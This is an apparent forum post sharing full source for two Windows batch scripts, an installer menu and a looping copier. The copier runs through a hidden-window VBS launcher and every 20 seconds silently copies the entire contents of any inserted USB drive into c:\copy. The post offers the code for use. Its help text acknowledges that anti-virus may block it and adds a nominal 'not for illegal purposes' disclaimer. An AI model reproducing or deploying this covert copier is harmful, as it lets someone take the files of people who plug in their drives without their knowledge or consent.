Post again to post the source code, this should be usable, everyone test it:
USB Auto Copy Install.cmd
@echo off
color 17
:start
cls
title $$$$*Han*Han*Made*$$$$
echo.
echo.
echo.
echo ==============================================================
echo.
echo USB Auto Copy Program
echo.
echo Welcome to use, please select option (1,2,3,4,5,6)
echo.
echo [1] Run Program
echo [2] Close Program
echo [3] Install Program
echo [4] Uninstall Program
echo [5] Usage Help
echo [6] Press X to Close
echo.
echo.
echo $$$ Made by Hanhan, Version 1.0 $$$
echo.
echo ==============================================================
echo.
set /p choice=Please enter:
if {%choice%}=={} goto start
if /i %choice%==1 goto open
if /i %choice%==2 goto close
if /i %choice%==3 goto install
if /i %choice%==4 goto uninstall
if /i %choice%==5 goto help
if /i %choice%==x goto shut
goto start
:install
rem ==============================Install Program=============================
if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd"
copy copy.cmd "%temp%\copy.cmd" >nul 2>nul
rem ==============================Hide Window=============================
if exist %temp%\hide.vbs del /Q %temp%\hide.vbs
set path=%temp%\copy.cmd
echo set ws=WScript.CreateObject("WScript.Shell") >>"%temp%\hide.vbs"
echo ws.Run "%path%",0 >>%temp%\hide.vbs
echo.
echo Installation successful!
pause >nul 2>nul
goto start
rem ==============================End of Installation=============================
:uninstall
rem ==============================Uninstall Program=============================
echo.
if not exist %temp%\copy.cmd goto start
del /Q /f "%temp%\copy.cmd" >nul 2>nul
del /Q /f "%temp%\hide.vbs" >nul 2>nul
del /Q /f "%temp%\copy.tmp" >nul 2>nul
echo Program has been successfully uninstalled!
pause >nul 2>nul
goto start
rem ==============================End of Uninstallation=============================
:open
rem ==============================Run Program=============================
echo.
if not exist %temp%\copy.cmd goto start
"%temp%\hide.vbs"
echo Program has been successfully started to run automatically (scanning every 20 seconds)!
pause >nul 2>nul
goto start
rem ==============================End of Run=============================
:close
rem ==============================Terminate Program=============================
echo.
if not exist %temp%\copy.cmd goto start
tskill ping >nul 2>nul
echo Program has been successfully ended automatic run!
pause >nul 2>nul
tskill cmd
rem ==============================End of Termination=============================
:help
rem ==============================Usage Help=============================
cls
echo.
echo.
echo.
echo This tool is suitable for XPsp2 system, I am not responsible for any losses caused by this.
echo.
echo Usage: 1 Click Install Program
echo 2 Click Run Program, the program will automatically execute every 20 seconds
echo 3 Please be sure to confirm that your USB drive is virus-free
echo 4 If your computer has anti-virus software installed, the VBS code may not work
echo 5 If automatic COPY is not possible, please click COPY.cmd manually each time
echo 6 Please clean up the files in the default save directory c:\copy folder in time
echo 7 Please ensure that there is enough space on your c:\, it is recommended not to insert external hard drives when the program is running
echo 8 Since it uses PING to achieve timing scanning, it takes up more memory, please remember to close after use
echo 9 This software does not guarantee the correctness of copied data
echo 10 This software should not be used for illegal purposes
echo.
echo This software is free software, welcome everyone to use
echo Press any key to return to the main menu
pause >nul 2>nul
goto start
rem ==============================End of Help=============================
:shut
rem ==============================Close Program=============================
exit
rem ==============================End of Closure=============================
copy.cmd
@echo off
mode con: cols=14 lines=1
:again
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
findstr /i "Removable Drive" "%temp%\copy.tmp"
if errorlevel==1 goto end
if errorlevel==0 goto copy
:end
rem No removable disk detected!
ping 127.0.0.1 -n 20 >nul 2>nul
goto again
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy
:goon
for /f "tokens=1" %%i in ('findstr /i "Removable Drive" "%temp%\copy.tmp"') do (
xcopy /e /y %%i\*.* c:\copy >nul 2>nul
)
del /q "%temp%\copy.tmp"
rem Copied, please clean up files in time!
ping 127.0.0.1 -n 20 >nul 2>nul
goto again